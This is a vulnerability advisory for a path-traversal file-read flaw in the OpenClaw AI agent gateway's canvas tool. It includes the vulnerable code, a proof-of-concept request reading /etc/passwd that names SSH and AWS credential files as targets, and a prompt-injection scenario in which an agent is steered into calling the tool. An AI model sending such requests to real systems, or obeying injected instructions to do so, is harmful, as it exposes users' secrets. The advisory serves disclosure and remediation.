GHSA-jq4x-98m3-ggq6 CVE-2026-3689
OpenClaw Canvas Path Traversal Information Disclosure Vulnerability
- Severity
- 0.0 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- 0.94%
- Chance of exploitation in the next 30 days. Higher than 61.06% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- Fix
2026.2.21- Upgrade openclaw to this version or later
Description
ZDI-CAN-29312: OpenClaw Canvas Path Traversal Information Disclosure Vulnerability
-- ABSTRACT -------------------------------------
Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: OpenClaw - OpenClaw
-- VULNERABILITY DETAILS ------------------------
- Version tested: openclaw 2026.2.17
- Platform tested: macOS 26.3
Analysis
Description
The OpenClaw gateway's canvas tool accepts an a2ui_push action with a jsonlPath parameter that specifies a filesystem path to read. The gateway reads this file using fs.readFile() with no path validation, canonicalization, or directory restriction. An authenticated attacker can supply an arbitrary absolute or relative path to read any file accessible to the gateway process.
The file contents are forwarded to the connected node client via the canvas.a2ui.pushJSONL WebSocket command. The gateway itself returns { ok: true } to the HTTP caller, confirming the file was read and transmitted.
Root Cause
In src/agents/tools/canvas-tool.ts, the a2ui_push action handler reads a file from disk without any path restrictions:
case "a2ui_push": {
const jsonl =
typeof params.jsonl === "string" && params.jsonl.trim()
? params.jsonl
: typeof params.jsonlPath === "string" && params.jsonlPath.trim()
? await fs.readFile(params.jsonlPath.trim(), "utf8") // <-- NO PATH VALIDATION
: "";
if (!jsonl.trim()) {
throw new Error("jsonl or jsonlPath required");
}
await invoke("canvas.a2ui.pushJSONL", { jsonl });
return jsonResult({ ok: true });
}
The jsonlPath parameter is passed directly to fs.readFile() after only a .trim() call. There is:
- No allowlist of permitted directories
- No canonicalization (
path.resolve/realpath) - No check against directory traversal sequences (
..) - No restriction to
.jsonlfile extensions
Attack Scenario
Prompt Injection (Primary)
OpenClaw is an AI agent orchestration tool. AI agents hold the gateway token to invoke tools. A prompt injection attack ��� where malicious instructions are embedded in content the AI processes ��� can direct the agent to call:
POST /tools/invoke
Authorization: Bearer <agent's token>
Content-Type: application/json
{
"tool": "canvas",
"args": {
"action": "a2ui_push",
"jsonlPath": "/etc/passwd",
"node": "node-host"
}
}
The gateway reads /etc/passwd (or any file: ~/.ssh/id_rsa, ~/.aws/credentials, openclaw.json containing the gateway token itself) and can forward the contents to an attacker connected node.
Reproduction Steps
Prerequisites
- Docker installed
- Python 3
- OpenClaw Docker image built as
openclaw:local
Steps
-
Navigate to the PoC directory and start the environment:
cd vulnerabilities/01-canvas-a2ui-push-lfi docker compose up -d --wait -
This starts two containers:
- Gateway (
openclaw-vuln-01-gateway): Token-protected OpenClaw gateway on port 18701 - Node (
openclaw-vuln-01-node): WebSocket node client that logs received data (simulates exfiltration)
- Gateway (
-
Wait a few seconds for the node to authenticate, then run the PoC:
python3 poc.py -
The PoC runs three tests:
Test Description Result 1 ��� No auth POST /tools/invoke without token 401 Unauthorized 2 ��� Exploit POST /tools/invoke with token, jsonlPath=/etc/passwd200 OK (file read) 3 ��� Exfiltration Check node container logs for received file contents /etc/passwd contents visible -
Test 2 sends:
{"tool":"canvas","args":{"action":"a2ui_push","jsonlPath":"/etc/passwd","node":"node-host"}}. The gateway reads/etc/passwdviafs.readFile()and forwards the contents to the node viacanvas.a2ui.pushJSONL. The node logs show the full exfiltrated file:[node] ====== EXFILTRATED FILE CONTENTS via a2ui.pushJSONL ====== root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... node:x:1000:1000::/home/node:/bin/bash -
Cleanup:
docker compose down -v
-- CREDIT --------------------------------------- This vulnerability was discovered by: Peter Girnus (@gothburz) and Project AESIR of TrendAI Zero Day Initiative
-- FURTHER DETAILS ------------------------------
Supporting files: ZDI-CAN-29312.zip
If supporting files were contained with this report they are provided within a password protected ZIP file. The password is the ZDI candidate number in the form: ZDI-CAN-XXXX where XXXX is the ID number.
Please confirm receipt of this report. We expect all vendors to remediate ZDI vulnerabilities within 120 days of the reported date. If you are ready to release a patch at any point leading up to the deadline, please coordinate with us so that we may release our advisory detailing the issue. If the 120-day deadline is reached and no patch has been made available we will release a limited public advisory with our own mitigations, so that the public can protect themselves in the absence of a patch. Please keep us updated regarding the status of this issue and feel free to contact us at any time:
Zero Day Initiative zdi-disclosures@trendmicro.com
The PGP key used for all ZDI vendor communications is available from:
http://www.zerodayinitiative.com/documents/disclosures-pgp-key.asc
-- INFORMATION ABOUT THE ZDI -------------------- Established by TippingPoint and acquired by Trend Micro, the Zero Day Initiative (ZDI) neither re-sells vulnerability details nor exploit code. Instead, upon notifying the affected product vendor, the ZDI provides its Trend Micro TippingPoint customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available.
Please contact Zero Day Initiative for further details or refer to:
http://www.zerodayinitiative.com
-- DISCLOSURE POLICY ----------------------------
Zero Day Initiative's vulnerability disclosure policy is available online at:
http://www.zerodayinitiative.com/advisories/disclosure_policy/
Fix Commit(s)
39816e61b0c4347a83c9b76bc8883190cfe5a3c9
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| openclaw | < 2026.2.21 |
2026.2.21 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
openclaw npm → 2026.2.21
- npm
npm install openclaw@2026.2.21- yarn
yarn add openclaw@2026.2.21- pnpm
pnpm add openclaw@2026.2.21
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.0 6.5
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-3x84-qq85-fj65 OpenClaw: Browser CDP discovery could accept blocked WebSocket URLs | High | Also affects openclaw |
| GHSA-9c3v-684m-579c OpenClaw MCP SSE redirects could forward Authorization headers | Medium | Also affects openclaw |
| GHSA-f397-5vjw-v2c2 OpenClaw: Shell inline-command parsing could miss an allowlist check | High | Also affects openclaw |
| GHSA-rx78-29qr-5hq8 OpenClaw: Workspace-derived service PATH could influence trash command selection | High | Also affects openclaw |
| GHSA-ccwh-wwpp-6wg5 OpenClaw: Host environment sanitizer missed two Node.js control variables | High | Also affects openclaw |
| GHSA-985f-72mj-8gf7 OpenClaw: Tool group policy callers could accept unvalidated group IDs | Medium | Also affects openclaw |
| GHSA-9v8j-9c9g-w66c OpenClaw: Bootstrap token replay could widen pending pairing scopes | Medium | Also affects openclaw |
| GHSA-c226-q6fx-6j6c OpenClaw: macOS Swift exec allowlist missed combined POSIX inline flags | Medium | Also affects openclaw |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor